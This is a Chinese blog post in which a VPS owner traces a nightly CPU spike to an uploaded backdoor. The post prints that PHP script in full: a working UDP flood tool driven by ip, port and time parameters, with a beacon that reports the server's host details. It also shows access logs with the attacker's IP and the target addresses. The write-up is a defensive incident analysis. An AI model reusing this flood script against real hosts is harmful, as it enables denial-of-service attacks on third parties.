• 捉“客”记


      最近在用一个香港的VPS做一个小说站点,配置是云主机1G内存带宽不限,上面运行着nginx mysql php-fpm memcache vsftpd,1G内存已经快使用完了,但CPU负载不高,因为网站也没什么流量。最近几天在特定的时间段(晚上的17点左右)通过top查看到一个php-fpm进程占用了99%的CPU,娘啊是哪个php脚本占用了如此多的CPU资源,VPS除了目前我在开发的程序还运行着一些其他网站,这中包括dedecms,akcms,bbs,以目前的知识我还无法定位是因为哪个脚本的问题导致的这次原因,过了大概有1小时的时间CPU负载下去了,接下来几天还是如此。

      我决定要处理这个问题,因为负载高的时候网站访问超级慢到了无法忍受的地步,首先我将php-fpm的慢查询日志打开,记录下运行时长超过1秒的脚本程序.

    file:/etc/php-fpm.d/www.conf
    
    request_slowlog_timeout = 1s

      17点到了负载又开始上去了,我用top命令拿到那个php-fpm高的pid 22658,尝试strace -p 22658 看看进程都在做些什么,命令结果都是机器指令根本不明白是什么意思,只是发现怪异的一点有个“AAAAAAA”这样的字样,然后又通过ll /proc/22658/fd 查看正在操作的文件,显示结果就是几个通道文件在不停的闪烁还是定位不到文件。

      最后希望寄托于slow-log,搜索了一下在那一个时段的慢日志,网站访问量不多所以很容易定位到了一个文件Pacillbxz.php,顺手打开看了一下内容,惊呆了。

    <?php
    echo 'u are hacker?';
    exit;
    set_time_limit(999999);
    $host = $_GET['ip'];
    $port = $_GET['port'];
    $exec_time = $_GET['time'];
    $Sendlen = 65535;
    $packets = 0;
    ignore_user_abort(True);
    
    if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
            if (StrLen($_GET['rat'])<>0){
                    echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                    exit;
                }
            echo "Warning to: opening";
            exit;
        }
    
    for($i=0;$i<$Sendlen;$i++){
            $out .= "A";
        }
    
    $max_time = time()+$exec_time;
    while(1){
        $packets++;
        if(time() > $max_time){
            break;
        }
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
    }
    
    echo "Send Host£º$host:$port<br><br>";
    echo "Send Flow£º$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
    echo "Send Rate£º" . round($packets/$exec_time, 2) . " packs/s£»" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
    ?>

    脚本的大体意思是传入主机、端口、时间进行建立udp的请求,而且是循环建立,说白了就是恶意请求一个主机,这是拿我当枪使啊,VPS成为了肉鸡?僵尸?就是这一类的词。

    我现在能想到的就是dedecms出现了上传漏洞让人给攻击上传文件代码了,我就又顺手看了看他要攻击的目标以及是谁在请求这个攻击指令。

    180.154.162.63 - - [20/Aug/2013:12:33:03 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-"
    180.154.162.63 - - [20/Aug/2013:12:34:17 +0800] "GET /plus/Pacillbxz.php?ip=172.241.88.178&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
    180.154.162.63 - - [20/Aug/2013:12:35:01 +0800] "GET /plus/Pacillbxz.php?ip=172.241.88.178&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
    180.154.162.63 - - [20/Aug/2013:14:28:21 +0800] "GET /plus/Pacillbxz.php?ip=218.8.241.233&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
    180.154.162.63 - - [20/Aug/2013:15:13:37 +0800] "GET /plus/Pacillbxz.php?ip=218.8.241.233&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
    180.154.162.63 - - [20/Aug/2013:15:27:07 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-"
    180.154.162.63 - - [20/Aug/2013:15:51:51 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-"

    总结:以后做站别在用织梦了,学到了一个新函数ignore_user_abort() 客户端断开连接时脚本程序是否继续执行

  • 相关阅读:
    C# 使用消息队列,包括远程访问
    Python3中urllib使用与源代码
    多年前写的DataTable与实体类的转换
    DataTable添加列和行的三种方法
    DevExpress 常用命令包括导出-打印-打印预览等
    c#开发_Dev的关于XtraGrid的使用(GridControl小结)
    正则表达式精华(包涵常用经典方法)
    数据库 插入时 碰到NULL报错判断的一种方法(技巧)
    MDI窗体简单方法(调用,闪屏)
    GridControl GridView 修改表格中的标题居中
  • 原文地址:https://www.cnblogs.com/aboys/p/3272169.html
Copyright © 2020-2023  润新知